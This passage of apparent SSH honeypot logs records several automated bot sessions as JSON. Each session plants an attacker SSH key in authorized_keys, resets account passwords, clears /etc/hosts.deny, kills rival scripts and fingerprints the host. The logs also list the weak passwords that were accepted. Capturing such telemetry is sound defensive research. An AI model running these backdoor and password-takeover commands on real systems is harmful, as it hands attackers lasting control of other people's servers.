\"123\\npsw1PqaWZd2y\\npsw1PqaWZd2y\"|passwd|bash"},{"seq":6,"at":"2026-08-27T02:05:55.788776+00:00","kind":"input","latency_ms":null,"data":"echo \"123\\npsw1PqaWZd2y\\npsw1PqaWZd2y\\n\"|passwd"},{"seq":7,"at":"2026-08-27T02:05:56.312201+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:05:56.614306+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:05:57.144953+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:05:58.262335+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:05:58.789463+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:05:59.697389+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:06:00.233082+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:06:00.685454+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:06:01.215645+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:06:01.617130+00:00","kind":"output","latency_ms":null,"data":" 02:06:01 up 6 days, 22:56, 0 user, load average: 0.32, 0.28, 0.38\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:06:02.149276+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:06:02.928855+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:06:03.456860+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:06:03.849123+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:06:04.752092+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:06:05.438208+00:00","kind":"output","latency_ms":null,"data":"top - 02:06:05 up 6 days, 22:56, 0 user, load average: 0.32, 0.28, 0.38\nTasks: 108 total, 1 running, 107 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9215 free, 6672 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:06:05.922895+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:06:06.279151+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:06:06.806066+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:06:07.416743+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:06:07.945376+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:06:08.803597+00:00","kind":"output","latency_ms":null,"data":"toby"},{"seq":29,"at":"2026-08-27T02:06:09.332942+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:06:10.454399+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:06:10.982220+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:06:12.054875+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"toby","password":"123","method":"password","accepted":true,"tier":"other"}]} {"id":"57779227-83e8-43a5-81d7-75cd3369efbb","name":"glacial-hearty-godwit","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":46424,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":560,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:03:29.032587+00:00","ended_at":"2026-08-27T02:03:30.102092+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T02:02:59.808131+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T02:03:00.410210+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T02:03:09.834830+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:03:10.652168+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:03:11.229306+00:00","kind":"input","latency_ms":null,"data":"echo \"root:b16ocHkGsD1F\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:03:11.808855+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:03:12.390099+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:03:13.090007+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:03:13.650389+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:03:14.800604+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:03:15.358342+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:03:16.497721+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:03:17.064410+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:03:17.886220+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:03:18.843066+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:03:19.501755+00:00","kind":"output","latency_ms":null,"data":" 02:03:19 up 6 days, 22:53, 0 user, load average: 0.02, 0.02, 0.02\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:03:20.057069+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:03:20.505103+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:03:21.208303+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:03:21.539336+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:03:22.102959+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:03:22.678399+00:00","kind":"output","latency_ms":null,"data":"top - 02:03:22 up 6 days, 22:53, 0 user, load average: 0.02, 0.02, 0.02\nTasks: 111 total, 1 running, 110 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:03:23.236707+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:03:23.797029+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:03:24.349326+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:03:24.718415+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:03:25.561502+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:03:26.437385+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:03:26.995187+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:03:28.483531+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:03:29.033542+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:03:29.929082+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"aabbcc123","method":"password","accepted":true,"tier":"other"}]} {"id":"3c91960f-9386-47a0-ac2e-315e750291ea","name":"coral-salty-bowerbird","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":59792,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":543,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T02:00:16.565060+00:00","ended_at":"2026-08-27T02:00:17.631058+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T01:59:49.157053+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:59:49.702786+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:59:59.415566+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T02:00:00.118198+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T02:00:00.660030+00:00","kind":"input","latency_ms":null,"data":"echo \"root:1GTz8Wf9dGpl\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T02:00:01.208746+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T02:00:01.744334+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T02:00:02.175631+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T02:00:02.772854+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T02:00:04.065685+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T02:00:04.612097+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T02:00:05.621336+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T02:00:06.163868+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T02:00:06.541424+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T02:00:07.078702+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T02:00:07.673933+00:00","kind":"output","latency_ms":null,"data":" 02:00:07 up 6 days, 22:50, 0 user, load average: 0.33, 0.34, 0.33\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T02:00:08.217612+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T02:00:09.065375+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T02:00:09.614200+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T02:00:10.275958+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T02:00:10.819176+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T02:00:11.098067+00:00","kind":"output","latency_ms":null,"data":"top - 02:00:11 up 6 days, 22:50, 0 user, load average: 0.33, 0.34, 0.33\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7944 free, 7944 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T02:00:11.646726+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T02:00:12.318341+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T02:00:12.859315+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T02:00:13.261139+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T02:00:13.819668+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T02:00:14.509395+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T02:00:15.044341+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T02:00:16.022779+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T02:00:16.566172+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T02:00:17.462717+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"hb123456","method":"password","accepted":true,"tier":"other"}]} {"id":"5f84b496-5c89-47c9-b585-87bbb34b6e9b","name":"rugged-idle-chamois","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":42640,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":515,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:57:01.767425+00:00","ended_at":"2026-08-27T01:57:02.861508+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2302,"events":[{"seq":1,"at":"2026-08-27T01:56:34.543771+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:56:35.109880+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:56:44.971022+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:56:45.399876+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:56:45.912190+00:00","kind":"input","latency_ms":null,"data":"echo \"root:5JZGwnk08mjc\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T01:56:46.478957+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T01:56:46.993207+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:56:47.303777+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:56:47.825986+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:56:49.103497+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:56:49.623193+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:56:50.718314+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:56:51.235465+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:56:51.843452+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:56:52.355280+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:56:52.714312+00:00","kind":"output","latency_ms":null,"data":" 01:56:52 up 6 days, 22:46, 0 user, load average: 0.1, 0.07, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:56:53.227398+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:56:53.892169+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:56:54.407621+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T01:56:54.950576+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T01:56:55.468082+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T01:56:56.324464+00:00","kind":"output","latency_ms":null,"data":"top - 01:56:56 up 6 days, 22:47, 0 user, load average: 0.1, 0.07, 0.12\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8738 free, 7149 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T01:56:56.849577+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T01:56:57.097624+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T01:56:57.608761+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T01:56:58.256876+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T01:56:58.772352+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T01:56:59.271724+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T01:56:59.897816+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T01:57:01.254356+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T01:57:01.768308+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T01:57:02.702000+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"a7758521","method":"password","accepted":true,"tier":"other"}]} {"id":"3df4f059-c34b-4115-a3aa-bcd9be781bf6","name":"prairie-icy-barbet","protocol":"ssh","channel_kind":"exec","src_ip":"118.194.228.101","src_port":34544,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":558,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T01:53:49.922814+00:00","ended_at":"2026-08-27T01:53:51.302086+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-27T01:53:22.980192+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T01:53:23.532808+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T01:53:31.819770+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T01:53:32.419934+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T01:53:33.701996+00:00","kind":"input","latency_ms":null,"data":"echo -e \"qwe123!@#\\npijv6524m83F\\npijv6524m83F\"|passwd|bash"},{"seq":6,"at":"2026-08-27T01:53:34.307763+00:00","kind":"input","latency_ms":null,"data":"echo \"qwe123!@#\\npijv6524m83F\\npijv6524m83F\\n\"|passwd"},{"seq":7,"at":"2026-08-27T01:53:34.935523+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T01:53:35.255742+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T01:53:35.819693+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T01:53:37.189747+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T01:53:37.741774+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T01:53:38.593402+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T01:53:39.151738+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T01:53:40.047139+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T01:53:40.602180+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T01:53:40.961134+00:00","kind":"output","latency_ms":null,"data":" 01:53:40 up 6 days, 22:43, 0 user, load average: 0.25, 0.32, 0.3\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T01:53:41.527939+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T01:53:42.125919+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T01:53:42.771231+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | 